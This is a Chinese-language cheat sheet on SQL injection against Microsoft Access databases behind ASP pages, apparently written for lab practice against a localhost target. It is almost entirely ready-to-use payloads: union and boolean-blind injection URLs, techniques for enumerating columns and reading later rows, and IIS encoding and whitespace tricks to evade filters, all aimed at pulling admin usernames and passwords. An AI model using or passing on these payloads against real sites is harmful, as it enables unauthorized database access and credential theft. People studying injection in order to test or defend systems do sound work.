一、Access注入
Access是轻量级数据库,特点是没有库,没有用户,单文件即可存储数据,在SQL注入时必须猜测表名和列名。
Access只有联合注入和布尔盲注。
1,联合注入
http://127.0.0.1/Production/PRODUCT_DETAIL.asp?id=151 order by 1
http://127.0.0.1/Production/PRODUCT_DETAIL.asp?id=151 order by 22
http://127.0.0.1/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
http://127.0.0.1/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
http://127.0.0.1/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,password,4,5,6,7,8,9,10,11,12,13,14,admin,16,17,18,19,20,21,22 from admin
2,布尔盲注
http://127.0.0.1/Production/PRODUCT_DETAIL.asp?id=1513 and exists (select * from admin)
http://127.0.0.1/Production/PRODUCT_DETAIL.asp?id=1513 and exists (select password from admin)
http://127.0.0.1/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 len(password) from admin)=16
http://127.0.0.1/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 asc(mid(password,1,1)) from admin)=97
3,如何查询第二行的值
id=1513 union select 1,2,password,4,5,6,7,8,9,10,11,12,13,14,admin,16,17,18,19,20,21,22 from admin
id=1513 union select 1,2,password,4,5,6,7,8,9,10,11,12,13,14,admin,16,17,18,19,20,21,22 from admin where id=40
id=1513 union select 1,2,password,4,5,6,7,8,9,10,11,12,13,14,admin,16,17,18,19,20,21,22 from admin where admin not in ('admin')
id=1513 union select 1,2,(select top 1 password from (select top 2 * from admin order by 1 desc)),4,5,6,7,8,9,10,11,12,13,14, (select top 1 admin from (select top 2 * from admin order by 1 desc)),16,17,18,19,20,21,22 from admin
4,access猜列名的一些特殊解法
利用having爆列
select id,admin,password from admin where id=1 group by 1 having 1=1
select id,admin,password from admin where id=1,id group by 1 having 1=1
select id,admin,password from admin where id=1 group by 1,id having 1=1
select id,admin,password from admin where id=1 group by 1,id,admin having 1=1
select * from admin where id=1 having sum(1)=1
偏移注入,需要猜到一个列名,一般是id
id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, * from admin
id=1513 union select 1,2,3,4,5,6,7,8,9,10, * from (admin as a inner join admin as b on a.id=b.id)
id=1513 union select 1,2,3,4,5,6,7,8,9,10,a.id,* from (admin as a inner join admin as b on a.id=b.id)
id=1513 union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
id=1513 union select 1,2,3,4,* from ((admin as a inner join admin as b on a.id=b.id)inner join admin as c on a.id=c.id)
移位溢注
id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, * from admin
id=1513 union select 1,2,3,4,5,6,7,8,9,admin.*,16,17,18,19,20,21,22 from admin
id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,admin.*,19,20,21,22 from admin
联合使用,必须总列数超过admin列数的1/4,上述条件不满足
select 1,2,3,4,5,6,a.*,* from (admin as a inner join admin as b on a.id=b.id)
5,一些tips
access空白符,%20,%09,%0A,%0C,%0D
没有注释,但是有注释符号,%16,%00
select(password)from(admin)
select[password]from[admin]
select`password`from`admin`
IIS特殊之处
允许出现%,比如uni%on select
允许Unicode编码,比如%u0075%u006eion select
这里和和json格式类似,{"id":"u0031"